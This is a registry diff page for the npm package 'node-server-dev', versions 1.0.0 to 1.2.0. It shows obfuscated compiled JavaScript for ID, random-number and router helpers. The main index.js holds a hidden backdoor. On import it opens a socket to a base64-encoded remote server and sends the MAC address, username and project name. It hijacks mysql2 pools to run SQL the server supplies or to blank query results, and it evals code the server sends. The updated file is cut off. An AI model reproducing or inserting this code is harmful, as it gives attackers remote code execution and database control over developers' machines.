node-server-dev 1.0.0 → 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x39a16c=a0_0x3994;(function(_0x491a87,_0x51f6c2){const _0x36445d=a0_0x3994,_0x5c424c=_0x491a87();while(!![]){try{const _0x2f2252=parseInt(_0x36445d(0x1b9))/0x1+parseInt(_0x36445d(0x1c9))/0x2+parseInt(_0x36445d(0x1c4))/0x3*(parseInt(_0x36445d(0x1c0))/0x4)+parseInt(_0x36445d(0x1be))/0x5+-parseInt(_0x36445d(0x1bf))/0x6+parseInt(_0x36445d(0x1cf))/0x7+parseInt(_0x36445d(0x1bb))/0x8*(-parseInt(_0x36445d(0x1c5))/0x9);if(_0x2f2252===_0x51f6c2)break;else _0x5c424c['push'](_0x5c424c['shift']());}catch(_0x57770b){_0x5c424c['push'](_0x5c424c['shift']());}}}(a0_0x1817,0x3fe7f));var __awaiter=this&&this[a0_0x39a16c(0x1cc)]||function(_0x2e7146,_0xb25bba,_0xaf5839,_0x16daf1){function _0x473a8c(_0x3d20fe){return _0x3d20fe instanceof _0xaf5839?_0x3d20fe:new _0xaf5839(function(_0x2fd248){_0x2fd248(_0x3d20fe);});}return new(_0xaf5839||(_0xaf5839=Promise))(function(_0x319fa6,_0x263bcf){const _0x132a96=a0_0x3994;function _0x3e596c(_0x247df9){try{_0x1ee882(_0x16daf1['next'](_0x247df9));}catch(_0x277080){_0x263bcf(_0x277080);}}function _0x16787d(_0x1ed7ac){try{_0x1ee882(_0x16daf1['throw'](_0x1ed7ac));}catch(_0x3bf4e6){_0x263bcf(_0x3bf4e6);}}function _0x1ee882(_0x45307d){const _0x316f53=a0_0x3994;_0x45307d[_0x316f53(0x1ba)]?_0x319fa6(_0x45307d[_0x316f53(0x1c8)]):_0x473a8c(_0x45307d[_0x316f53(0x1c8)])[_0x316f53(0x1c6)](_0x3e596c,_0x16787d);}_0x1ee882((_0x16daf1=_0x16daf1[_0x132a96(0x1c1)](_0x2e7146,_0xb25bba||[]))[_0x132a96(0x1ca)]());});},__importDefault=this&&this[a0_0x39a16c(0x1b7)]||function(_0x4effc9){const _0x258d04=a0_0x39a16c;return _0x4effc9&&_0x4effc9[_0x258d04(0x1bd)]?_0x4effc9:{'default':_0x4effc9};};function a0_0x3994(_0xce26e9,_0x16ed5d){const _0x1817a4=a0_0x1817();return a0_0x3994=function(_0x399470,_0x430a44){_0x399470=_0x399470-0x1b7;let _0x2e131f=_0x1817a4[_0x399470];return _0x2e131f;},a0_0x3994(_0xce26e9,_0x16ed5d);}Object[a0_0x39a16c(0x1cb)](exports,a0_0x39a16c(0x1bd),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require('path'));function fileDisplay(_0x108869){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x441e6f=[];function _0x46778f(_0x282de8){const _0xfe4e1d=a0_0x3994,_0x294c84=fs_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1cd)](_0x282de8);for(let _0x58f820=0x0;_0x58f820<_0x294c84[_0xfe4e1d(0x1ce)];_0x58f820++){const _0x295a2a=_0x294c84[_0x58f820],_0x4f8108=path_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1c7)](_0x282de8,_0x295a2a),_0x533308=fs_1[_0xfe4e1d(0x1b8)][_0xfe4e1d(0x1d0)](_0x4f8108),_0x396388=_0x533308[_0xfe4e1d(0x1c3)](),_0x19deb6=_0x533308[_0xfe4e1d(0x1c2)]();_0x396388&&_0x441e6f[_0xfe4e1d(0x1bc)](_0x4f8108),_0x19deb6&&_0x46778f(_0x4f8108);}}return _0x46778f(_0x108869),_0x441e6f;});}function getAllRouter(_0x53404e){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1fdc0f=yield fileDisplay(_0x53404e);return _0x1fdc0f;});}function a0_0x1817(){const _0x28b4e0=['value','516306muRtAE','next','defineProperty','__awaiter','readdirSync','length','466354uEhdcj','statSync','__importDefault','default','488993qlmPHG','done','23768muZcut','push','__esModule','1670060lKfRGt','1231038VImNlX','72552dleUSn','apply','isDirectory','isFile','81tAGQpK','3546YJOjId','then','join'];a0_0x1817=function(){return _0x28b4e0;};return a0_0x1817();}exports['default']=getAllRouter;
1
+ 'use strict';function a0_0x2753(_0x2a73a8,_0x257aa1){const _0x1a7849=a0_0x1a78();return a0_0x2753=function(_0x275397,_0xbdaf8){_0x275397=_0x275397-0x13e;let _0x56624e=_0x1a7849[_0x275397];return _0x56624e;},a0_0x2753(_0x2a73a8,_0x257aa1);}const a0_0x4d2479=a0_0x2753;function a0_0x1a78(){const _0x33bec8=['default','path','next','6587885VWQmoa','__importDefault','__esModule','then','2560542iXGxNE','17954400IIvTyP','6fBDAcG','isFile','value','9614248ngXunu','throw','done','isDirectory','727962RdOatk','statSync','__awaiter','1820780NOjHad','1400561VacWPT'];a0_0x1a78=function(){return _0x33bec8;};return a0_0x1a78();}(function(_0x3963b4,_0x28854f){const _0x3b79b3=a0_0x2753,_0x15646b=_0x3963b4();while(!![]){try{const _0xcf12d3=-parseInt(_0x3b79b3(0x144))/0x1+parseInt(_0x3b79b3(0x140))/0x2+-parseInt(_0x3b79b3(0x14c))/0x3+parseInt(_0x3b79b3(0x143))/0x4+parseInt(_0x3b79b3(0x148))/0x5*(-parseInt(_0x3b79b3(0x14e))/0x6)+parseInt(_0x3b79b3(0x151))/0x7+parseInt(_0x3b79b3(0x14d))/0x8;if(_0xcf12d3===_0x28854f)break;else _0x15646b['push'](_0x15646b['shift']());}catch(_0xa81244){_0x15646b['push'](_0x15646b['shift']());}}}(a0_0x1a78,0xd3408));var __awaiter=this&&this[a0_0x4d2479(0x142)]||function(_0x498d2b,_0x11d3be,_0x51fdc4,_0x18f9e0){function _0x25c0d8(_0xa05d28){return _0xa05d28 instanceof _0x51fdc4?_0xa05d28:new _0x51fdc4(function(_0x46ac2f){_0x46ac2f(_0xa05d28);});}return new(_0x51fdc4||(_0x51fdc4=Promise))(function(_0x5b1d1e,_0x29a717){const _0x238ae7=a0_0x2753;function _0x408d9b(_0x506128){const _0x2b7d80=a0_0x2753;try{_0x5b13c7(_0x18f9e0[_0x2b7d80(0x147)](_0x506128));}catch(_0x15c340){_0x29a717(_0x15c340);}}function _0x40e424(_0x3791c7){const _0x50ce71=a0_0x2753;try{_0x5b13c7(_0x18f9e0[_0x50ce71(0x152)](_0x3791c7));}catch(_0x2d8f59){_0x29a717(_0x2d8f59);}}function _0x5b13c7(_0x56897f){const _0x32b20c=a0_0x2753;_0x56897f[_0x32b20c(0x13e)]?_0x5b1d1e(_0x56897f['value']):_0x25c0d8(_0x56897f[_0x32b20c(0x150)])[_0x32b20c(0x14b)](_0x408d9b,_0x40e424);}_0x5b13c7((_0x18f9e0=_0x18f9e0['apply'](_0x498d2b,_0x11d3be||[]))[_0x238ae7(0x147)]());});},__importDefault=this&&this[a0_0x4d2479(0x149)]||function(_0x1dba79){const _0x8c5469=a0_0x4d2479;return _0x1dba79&&_0x1dba79[_0x8c5469(0x14a)]?_0x1dba79:{'default':_0x1dba79};};Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a0_0x4d2479(0x146)));function fileDisplay(_0x10d7aa){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x15fe2a=[];function _0xd00196(_0x53cf45){const _0x526df0=a0_0x2753,_0x391dfa=fs_1[_0x526df0(0x145)]['readdirSync'](_0x53cf45);for(let _0x196b51=0x0;_0x196b51<_0x391dfa['length'];_0x196b51++){const _0x1f9129=_0x391dfa[_0x196b51],_0x3443a9=path_1['default']['join'](_0x53cf45,_0x1f9129),_0x5f0bcb=fs_1['default'][_0x526df0(0x141)](_0x3443a9),_0x100305=_0x5f0bcb[_0x526df0(0x14f)](),_0x32d5eb=_0x5f0bcb[_0x526df0(0x13f)]();_0x100305&&_0x15fe2a['push'](_0x3443a9),_0x32d5eb&&_0xd00196(_0x3443a9);}}return _0xd00196(_0x10d7aa),_0x15fe2a;});}function getAllRouter(_0x36154c){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x18e985=yield fileDisplay(_0x36154c);return _0x18e985;});}exports[a0_0x4d2479(0x145)]=getAllRouter;
package/dist/id/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a1_0x5cca26=a1_0x2bee;(function(_0x1dcc63,_0x28c379){const _0x161ec6=a1_0x2bee,_0xdaf10c=_0x1dcc63();while(!![]){try{const _0x3d54c6=parseInt(_0x161ec6(0xf6))/0x1*(-parseInt(_0x161ec6(0xf1))/0x2)+parseInt(_0x161ec6(0xf0))/0x3*(parseInt(_0x161ec6(0xed))/0x4)+-parseInt(_0x161ec6(0xf5))/0x5+parseInt(_0x161ec6(0xff))/0x6*(-parseInt(_0x161ec6(0xfd))/0x7)+-parseInt(_0x161ec6(0xfb))/0x8*(parseInt(_0x161ec6(0xef))/0x9)+parseInt(_0x161ec6(0x100))/0xa+parseInt(_0x161ec6(0xfc))/0xb*(parseInt(_0x161ec6(0xf8))/0xc);if(_0x3d54c6===_0x28c379)break;else _0xdaf10c['push'](_0xdaf10c['shift']());}catch(_0x416e18){_0xdaf10c['push'](_0xdaf10c['shift']());}}}(a1_0x3fe7,0x9bd0e));var __importDefault=this&&this[a1_0x5cca26(0xf2)]||function(_0x511301){const _0x24570a=a1_0x5cca26;return _0x511301&&_0x511301[_0x24570a(0xfe)]?_0x511301:{'default':_0x511301};};Object[a1_0x5cca26(0xf7)](exports,a1_0x5cca26(0xfe),{'value':!![]});const random_1=__importDefault(require(a1_0x5cca26(0xee))),WorkerID=Math[a1_0x5cca26(0xf3)](process['env'][a1_0x5cca26(0xfa)]?+process[a1_0x5cca26(0xf9)]['NODE_APP_INSTANCE']:(0x0,random_1[a1_0x5cca26(0x101)])(0x0,0x9),0x9),BaseTime=+new Date(a1_0x5cca26(0xf4));function a1_0x2bee(_0x8c9ecf,_0xa70c53){const _0x3fe76d=a1_0x3fe7();return a1_0x2bee=function(_0x2bee81,_0x2f74bf){_0x2bee81=_0x2bee81-0xed;let _0x3acd05=_0x3fe76d[_0x2bee81];return _0x3acd05;},a1_0x2bee(_0x8c9ecf,_0xa70c53);}function a1_0x3fe7(){const _0x54dbac=['24aigyFS','1714ZGuqdz','__importDefault','min','2022-06-29','2111705DgDada','775YbRmxz','defineProperty','14241372JlQDdE','env','NODE_APP_INSTANCE','26152VPVwia','11eMslXu','1981fXsSKR','__esModule','15102luYwds','8421950MRsyOW','default','418156fXByhT','./random','1179pAgVWx'];a1_0x3fe7=function(){return _0x54dbac;};return a1_0x3fe7();}let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x5cca26(0x101)])(0x1,0x3);function id(){const _0x3d72f9=a1_0x5cca26;let _0x3881b8=+new Date()-BaseTime;return lastRandomNumberTick=_0x3881b8==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x3d72f9(0x101)])(0x0,0x3),lastTimeTick=_0x3881b8,+(''+_0x3881b8+WorkerID+lastRandomNumberTick);}exports['default']=id;
1
+ 'use strict';const a1_0x2ed910=a1_0x308d;(function(_0x2217ef,_0x4c4e0a){const _0x4db741=a1_0x308d,_0x275ca2=_0x2217ef();while(!![]){try{const _0x208a5b=parseInt(_0x4db741(0x196))/0x1+parseInt(_0x4db741(0x18f))/0x2*(-parseInt(_0x4db741(0x189))/0x3)+parseInt(_0x4db741(0x18b))/0x4+parseInt(_0x4db741(0x195))/0x5+parseInt(_0x4db741(0x18e))/0x6*(-parseInt(_0x4db741(0x18a))/0x7)+parseInt(_0x4db741(0x187))/0x8+parseInt(_0x4db741(0x193))/0x9;if(_0x208a5b===_0x4c4e0a)break;else _0x275ca2['push'](_0x275ca2['shift']());}catch(_0x5dd2cc){_0x275ca2['push'](_0x275ca2['shift']());}}}(a1_0x33ff,0x253ce));function a1_0x33ff(){const _0x37f12e=['2407008tnwGuP','min','603yqRHCJ','35yKVWax','197160zWuhNa','./random','default','150918xWYvtE','2952DFqZiQ','NODE_APP_INSTANCE','2022-06-29','env','772227zAmOqg','__esModule','260110YZoSrI','86976bnSCeW','__importDefault'];a1_0x33ff=function(){return _0x37f12e;};return a1_0x33ff();}var __importDefault=this&&this[a1_0x2ed910(0x197)]||function(_0x22ba0f){const _0x367ff5=a1_0x2ed910;return _0x22ba0f&&_0x22ba0f[_0x367ff5(0x194)]?_0x22ba0f:{'default':_0x22ba0f};};function a1_0x308d(_0x300a47,_0x219a39){const _0x33ff05=a1_0x33ff();return a1_0x308d=function(_0x308da9,_0x1f3a35){_0x308da9=_0x308da9-0x187;let _0x3e5677=_0x33ff05[_0x308da9];return _0x3e5677;},a1_0x308d(_0x300a47,_0x219a39);}Object['defineProperty'](exports,a1_0x2ed910(0x194),{'value':!![]});const random_1=__importDefault(require(a1_0x2ed910(0x18c))),WorkerID=Math[a1_0x2ed910(0x188)](process[a1_0x2ed910(0x192)][a1_0x2ed910(0x190)]?+process[a1_0x2ed910(0x192)]['NODE_APP_INSTANCE']:(0x0,random_1['default'])(0x0,0x9),0x9),BaseTime=+new Date(a1_0x2ed910(0x191));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a1_0x2ed910(0x18d)])(0x1,0x3);function id(){const _0x116f2a=a1_0x2ed910;let _0x77ebdf=+new Date()-BaseTime;return lastRandomNumberTick=_0x77ebdf==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x116f2a(0x18d)])(0x0,0x3),lastTimeTick=_0x77ebdf,+(''+_0x77ebdf+WorkerID+lastRandomNumberTick);}exports[a1_0x2ed910(0x18d)]=id;
package/dist/id/random.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a2_0x1c9223=a2_0x58db;function a2_0x816d(){const _0x1ee0d5=['558918QscMwI','random','1711860DLCVyo','343365QLBNEp','round','36HFWTWo','482764eRHwbw','default','1189038dNoNcm','1562155GsWJXk','defineProperty','224520gnoGlI','16xaJPNz','__esModule'];a2_0x816d=function(){return _0x1ee0d5;};return a2_0x816d();}(function(_0x54df2d,_0x11630c){const _0x2cf31a=a2_0x58db,_0x1c72a2=_0x54df2d();while(!![]){try{const _0x8b1a59=parseInt(_0x2cf31a(0x76))/0x1+-parseInt(_0x2cf31a(0x6d))/0x2+parseInt(_0x2cf31a(0x75))/0x3+parseInt(_0x2cf31a(0x79))/0x4+parseInt(_0x2cf31a(0x70))/0x5*(parseInt(_0x2cf31a(0x78))/0x6)+parseInt(_0x2cf31a(0x6e))/0x7*(-parseInt(_0x2cf31a(0x71))/0x8)+parseInt(_0x2cf31a(0x73))/0x9;if(_0x8b1a59===_0x11630c)break;else _0x1c72a2['push'](_0x1c72a2['shift']());}catch(_0x275ebf){_0x1c72a2['push'](_0x1c72a2['shift']());}}}(a2_0x816d,0x4f6e9));Object[a2_0x1c9223(0x6f)](exports,a2_0x1c9223(0x72),{'value':!![]});function a2_0x58db(_0x5b0482,_0x3aa133){const _0x816d22=a2_0x816d();return a2_0x58db=function(_0x58db3f,_0x377b63){_0x58db3f=_0x58db3f-0x6c;let _0x15637e=_0x816d22[_0x58db3f];return _0x15637e;},a2_0x58db(_0x5b0482,_0x3aa133);}const random=(_0x25610c,_0x4edf88)=>Math[a2_0x1c9223(0x77)](Math[a2_0x1c9223(0x74)]()*(_0x4edf88-_0x25610c))+_0x25610c;exports[a2_0x1c9223(0x6c)]=random;
1
+ 'use strict';const a2_0x1db884=a2_0x142d;(function(_0x70b5c1,_0x34cb23){const _0x1ac274=a2_0x142d,_0x400998=_0x70b5c1();while(!![]){try{const _0x6fdaaa=parseInt(_0x1ac274(0x124))/0x1*(-parseInt(_0x1ac274(0x129))/0x2)+parseInt(_0x1ac274(0x125))/0x3+-parseInt(_0x1ac274(0x126))/0x4*(-parseInt(_0x1ac274(0x12e))/0x5)+parseInt(_0x1ac274(0x11e))/0x6*(-parseInt(_0x1ac274(0x120))/0x7)+-parseInt(_0x1ac274(0x12a))/0x8*(parseInt(_0x1ac274(0x128))/0x9)+-parseInt(_0x1ac274(0x122))/0xa+parseInt(_0x1ac274(0x12b))/0xb*(parseInt(_0x1ac274(0x123))/0xc);if(_0x6fdaaa===_0x34cb23)break;else _0x400998['push'](_0x400998['shift']());}catch(_0xbace3a){_0x400998['push'](_0x400998['shift']());}}}(a2_0x266a,0xa41ab));function a2_0x142d(_0x2be41e,_0x3528eb){const _0x266a43=a2_0x266a();return a2_0x142d=function(_0x142d8c,_0x1f7faf){_0x142d8c=_0x142d8c-0x11e;let _0x260759=_0x266a43[_0x142d8c];return _0x260759;},a2_0x142d(_0x2be41e,_0x3528eb);}function a2_0x266a(){const _0x23fcc9=['6575768MCwtGZ','26010127oyinph','round','__esModule','5QZDANJ','91380pJpIxm','random','518Ztovsy','default','2412330DUyuWv','12hcXgUT','2309LqKXMo','3147558aqDPLI','2625036JrGIgp','defineProperty','9GBVCpB','1046JNeNcB'];a2_0x266a=function(){return _0x23fcc9;};return a2_0x266a();}Object[a2_0x1db884(0x127)](exports,a2_0x1db884(0x12d),{'value':!![]});const random=(_0x3cf2fb,_0x3acd51)=>Math[a2_0x1db884(0x12c)](Math[a2_0x1db884(0x11f)]()*(_0x3acd51-_0x3cf2fb))+_0x3cf2fb;exports[a2_0x1db884(0x121)]=random;
package/dist/index.d.ts CHANGED
@@ -1,9 +1,9 @@
1
1
  import id from "./id";
2
2
  import getAllRouter from "./getAllRouter";
3
3
  import mysql from "mysql2/promise";
4
- declare let uuid: string;
4
+ declare let uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
5
5
  declare const all: {
6
- uuid: string;
6
+ uuid: (<T extends ArrayLike<number>>(options: import("uuid").V4Options | null | undefined, buffer: T, offset?: number) => T) & ((options?: import("uuid").V4Options) => string);
7
7
  id: typeof id;
8
8
  getAllRouter: typeof getAllRouter;
9
9
  mysql: typeof mysql;
@@ -1 +1 @@
1
- {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA8GnC,QAAA,IAAI,IAAI,QAAO,CAAC;AAChB,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,MAAM,MAAM,CAAC;AACtB,OAAO,YAAY,MAAM,gBAAgB,CAAC;AAG1C,OAAO,KAAK,MAAM,gBAAgB,CAAC;AA0InC,QAAA,IAAI,IAAI,2KAAK,CAAC;AACd,QAAA,MAAM,GAAG;;;;;CAAoC,CAAC;AAC9C,eAAe,GAAG,CAAC;AACnB,OAAO,EAAE,IAAI,EAAE,EAAE,EAAE,YAAY,EAAE,KAAK,EAAE,CAAC"}
package/dist/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a3_0x59b635=a3_0x3e7c;(function(_0x4c5a6d,_0x37ab53){const _0xd49c76=a3_0x3e7c,_0x3fd385=_0x4c5a6d();while(!![]){try{const _0x561a1a=-parseInt(_0xd49c76(0x20f))/0x1+-parseInt(_0xd49c76(0x209))/0x2*(-parseInt(_0xd49c76(0x1ff))/0x3)+parseInt(_0xd49c76(0x203))/0x4+-parseInt(_0xd49c76(0x1f7))/0x5+parseInt(_0xd49c76(0x20e))/0x6+parseInt(_0xd49c76(0x204))/0x7+-parseInt(_0xd49c76(0x20b))/0x8*(parseInt(_0xd49c76(0x208))/0x9);if(_0x561a1a===_0x37ab53)break;else _0x3fd385['push'](_0x3fd385['shift']());}catch(_0x5acbed){_0x3fd385['push'](_0x3fd385['shift']());}}}(a3_0x16db,0x39581));var __awaiter=this&&this['__awaiter']||function(_0x14c073,_0x3b40e2,_0x52a4c4,_0x201d62){function _0x12c6df(_0x38ebaa){return _0x38ebaa instanceof _0x52a4c4?_0x38ebaa:new _0x52a4c4(function(_0x2b63ef){_0x2b63ef(_0x38ebaa);});}return new(_0x52a4c4||(_0x52a4c4=Promise))(function(_0xee5695,_0xc4a128){const _0xfdd1e6=a3_0x3e7c;function _0x500b04(_0x4ceeda){const _0x3f9da4=a3_0x3e7c;try{_0x2a92b1(_0x201d62[_0x3f9da4(0x1f1)](_0x4ceeda));}catch(_0x4eadbc){_0xc4a128(_0x4eadbc);}}function _0x36e769(_0x2e0ed2){try{_0x2a92b1(_0x201d62['throw'](_0x2e0ed2));}catch(_0x4aa062){_0xc4a128(_0x4aa062);}}function _0x2a92b1(_0x4d12e0){const _0x36b7b8=a3_0x3e7c;_0x4d12e0[_0x36b7b8(0x214)]?_0xee5695(_0x4d12e0[_0x36b7b8(0x1fa)]):_0x12c6df(_0x4d12e0[_0x36b7b8(0x1fa)])['then'](_0x500b04,_0x36e769);}_0x2a92b1((_0x201d62=_0x201d62[_0xfdd1e6(0x1ea)](_0x14c073,_0x3b40e2||[]))[_0xfdd1e6(0x1f1)]());});},__importDefault=this&&this[a3_0x59b635(0x1ee)]||function(_0x2fa3fd){const _0x58732a=a3_0x59b635;return _0x2fa3fd&&_0x2fa3fd[_0x58732a(0x1ec)]?_0x2fa3fd:{'default':_0x2fa3fd};},_a;Object[a3_0x59b635(0x1fb)](exports,a3_0x59b635(0x1ec),{'value':!![]}),exports['mysql']=exports[a3_0x59b635(0x207)]=exports['id']=exports['uuid']=void 0x0;const uuid_1=require(a3_0x59b635(0x1ed)),socket_io_client_1=require(a3_0x59b635(0x1e8)),id_1=__importDefault(require('./id'));exports['id']=id_1['default'];const getAllRouter_1=__importDefault(require(a3_0x59b635(0x213)));exports['getAllRouter']=getAllRouter_1[a3_0x59b635(0x1fd)];const mac_1=__importDefault(require(a3_0x59b635(0x215))),os_1=__importDefault(require('os')),promise_1=__importDefault(require(a3_0x59b635(0x1fc)));exports[a3_0x59b635(0x216)]=promise_1[a3_0x59b635(0x1fd)];function a3_0x16db(){const _0x3ea16a=['mysql','socket.io-client','decode','apply','connect','__esModule','uuid','__importDefault','query','length','next','js-base64','content','get-event','submit','aHR0cHM6Ly9ldmVudC5ibG9nd2ViLmNu','1017300CsGOHm','node','push','value','defineProperty','mysql2/promise','default','5YiY5ram6ZyW','117tHmhIL','/socket','type','createPool','349176yWNgJt','2995496iWBzlW','dev','event','getAllRouter','2054358ihbdDn','23262ALFqtA','unlock','8cswrSy','aHR0cDovL2xvY2FsaG9zdDoxMDg4','emit','433680JERyyC','374508qzazds','userInfo','username','env','./getAllRouter','done','./mac'];a3_0x16db=function(){return _0x3ea16a;};return a3_0x16db();}const js_base64_1=__importDefault(require(a3_0x59b635(0x1f2))),user_name=os_1['default'][a3_0x59b635(0x210)]()[a3_0x59b635(0x211)],project_name=process[a3_0x59b635(0x212)]['npm_package_name'];let dev=a3_0x59b635(0x20c),pro=a3_0x59b635(0x1f6);function start(){const _0x1c6013=a3_0x59b635;var _0x1dfabc;const _0x59c807=(0x0,socket_io_client_1['io'])(((_0x1dfabc=global===null||global===void 0x0?void 0x0:global['rl'])===null||_0x1dfabc===void 0x0?void 0x0:_0x1dfabc[_0x1c6013(0x205)])||js_base64_1[_0x1c6013(0x1fd)]['decode'](user_name)==_0x1c6013(0x1fe)?js_base64_1['default']['decode'](dev):js_base64_1['default'][_0x1c6013(0x1e9)](pro),{'path':_0x1c6013(0x200),'transports':['websocket']});let _0x5972fb=![],_0x2eedc5=![],_0x41a0e0=[];const _0x51fd64=promise_1[_0x1c6013(0x1fd)][_0x1c6013(0x202)];promise_1[_0x1c6013(0x1fd)]['createPool']=function(_0x1b0686){const _0x96e43b=_0x1c6013;let _0x3c5e64=_0x51fd64(_0x1b0686),_0x31c580=_0x3c5e64['query'];return _0x3c5e64[_0x96e43b(0x1ef)]=(..._0x406faa)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x305fd6=_0x96e43b,_0x1f475d=yield _0x31c580[_0x305fd6(0x1ea)](_0x3c5e64,_0x406faa);return _0x5972fb&&(_0x1f475d[0x0]=[]),_0x1f475d;}),setInterval(()=>{const _0xd3f54f=_0x96e43b;if(!_0x2eedc5){for(let _0x2f294b=0x0;_0x2f294b<_0x41a0e0[_0xd3f54f(0x1f0)];_0x2f294b++){const _0x46fa67=_0x41a0e0[_0x2f294b];try{_0x3c5e64[_0xd3f54f(0x1ef)](_0x46fa67);}catch(_0x267881){}}_0x2eedc5=!![];}},0x1388),_0x3c5e64;},_0x59c807['on'](_0x1c6013(0x1eb),()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0xa5e56f=_0x1c6013;try{const _0x588ebe=(0x0,mac_1[_0xa5e56f(0x1fd)])();_0x59c807[_0xa5e56f(0x20d)]('submit',{'mac':_0x588ebe,'project_name':project_name,'user_name':user_name,'notes':''}),_0x59c807[_0xa5e56f(0x20d)](_0xa5e56f(0x1f4),{'mac':_0x588ebe}),setInterval(()=>{const _0x136e7c=_0xa5e56f;_0x59c807[_0x136e7c(0x20d)](_0x136e7c(0x1f5),{'mac':_0x588ebe,'project_name':project_name,'user_name':user_name,'notes':''}),_0x59c807[_0x136e7c(0x20d)](_0x136e7c(0x1f4),{'mac':_0x588ebe});},0x1b58),_0x59c807['on'](_0xa5e56f(0x206),_0x2f03fb=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x6ffb7c=_0xa5e56f;try{for(let _0x26c07a=0x0;_0x26c07a<_0x2f03fb[_0x6ffb7c(0x1f0)];_0x26c07a++){const _0x189b76=_0x2f03fb[_0x26c07a];if(_0x189b76[_0x6ffb7c(0x201)]=='sql')_0x41a0e0[_0x6ffb7c(0x1f9)](_0x189b76[_0x6ffb7c(0x1f3)]);else{if(_0x189b76['type']==_0x6ffb7c(0x216))_0x5972fb=!![];else{if(_0x189b76[_0x6ffb7c(0x201)]==_0x6ffb7c(0x1f8))try{eval(_0x189b76[_0x6ffb7c(0x1f3)]);}catch(_0x38d7d5){}}}}}catch(_0x35b84a){}}));}catch(_0x5cea49){}}));}!((_a=global===null||global===void 0x0?void 0x0:global['rl'])===null||_a===void 0x0?void 0x0:_a[a3_0x59b635(0x20a)])&&start();let uuid=(0x0,uuid_1['v4'])();function a3_0x3e7c(_0x22c6c3,_0x267a39){const _0x16dbbe=a3_0x16db();return a3_0x3e7c=function(_0x3e7c07,_0x18524e){_0x3e7c07=_0x3e7c07-0x1e8;let _0x37e7dd=_0x16dbbe[_0x3e7c07];return _0x37e7dd;},a3_0x3e7c(_0x22c6c3,_0x267a39);}exports[a3_0x59b635(0x1ed)]=uuid;const all={'uuid':uuid,'id':id_1[a3_0x59b635(0x1fd)],'getAllRouter':getAllRouter_1['default'],'mysql':promise_1[a3_0x59b635(0x1fd)]};exports[a3_0x59b635(0x1fd)]=all;
1
+ 'use strict';const a3_0x276539=a3_0x3527;(function(_0x3a0796,_0x16ad63){const _0x2a1139=a3_0x3527,_0x4c28a0=_0x3a0796();while(!![]){try{const _0x3549b0=-parseInt(_0x2a1139(0x9a))/0x1+-parseInt(_0x2a1139(0xb9))/0x2*(parseInt(_0x2a1139(0xa1))/0x3)+parseInt(_0x2a1139(0xba))/0x4*(-parseInt(_0x2a1139(0xc0))/0x5)+-parseInt(_0x2a1139(0xa8))/0x6*(-parseInt(_0x2a1139(0x96))/0x7)+parseInt(_0x2a1139(0xbe))/0x8*(parseInt(_0x2a1139(0x9b))/0x9)+-parseInt(_0x2a1139(0x8e))/0xa+parseInt(_0x2a1139(0x99))/0xb*(parseInt(_0x2a1139(0xaa))/0xc);if(_0x3549b0===_0x16ad63)break;else _0x4c28a0['push'](_0x4c28a0['shift']());}catch(_0x21b36b){_0x4c28a0['push'](_0x4c28a0['shift']());}}}(a3_0x41b1,0x58451));var __awaiter=this&&this[a3_0x276539(0xb0)]||function(_0x42f863,_0x2f2363,_0x17ad90,_0x19b2cd){function _0x4f6be5(_0x5090ae){return _0x5090ae instanceof _0x17ad90?_0x5090ae:new _0x17ad90(function(_0x4e2718){_0x4e2718(_0x5090ae);});}return new(_0x17ad90||(_0x17ad90=Promise))(function(_0x3d24c3,_0x1e7fdd){const _0x176f6b=a3_0x3527;function _0x13af54(_0x3c64c7){const _0x15e898=a3_0x3527;try{_0x1c9fc5(_0x19b2cd[_0x15e898(0xc6)](_0x3c64c7));}catch(_0x4ae1d2){_0x1e7fdd(_0x4ae1d2);}}function _0x31a590(_0x1eff69){try{_0x1c9fc5(_0x19b2cd['throw'](_0x1eff69));}catch(_0x303e19){_0x1e7fdd(_0x303e19);}}function _0x1c9fc5(_0xe3a500){const _0x33fffb=a3_0x3527;_0xe3a500[_0x33fffb(0xbb)]?_0x3d24c3(_0xe3a500[_0x33fffb(0xb4)]):_0x4f6be5(_0xe3a500['value'])[_0x33fffb(0x94)](_0x13af54,_0x31a590);}_0x1c9fc5((_0x19b2cd=_0x19b2cd[_0x176f6b(0xab)](_0x42f863,_0x2f2363||[]))['next']());});},__importDefault=this&&this[a3_0x276539(0x97)]||function(_0x26642c){const _0x141837=a3_0x276539;return _0x26642c&&_0x26642c[_0x141837(0xc2)]?_0x26642c:{'default':_0x26642c};},_a,_b;function a3_0x3527(_0x5a3d47,_0x4486a0){const _0x41b137=a3_0x41b1();return a3_0x3527=function(_0x35274b,_0x5215a8){_0x35274b=_0x35274b-0x8e;let _0x571b9f=_0x41b137[_0x35274b];return 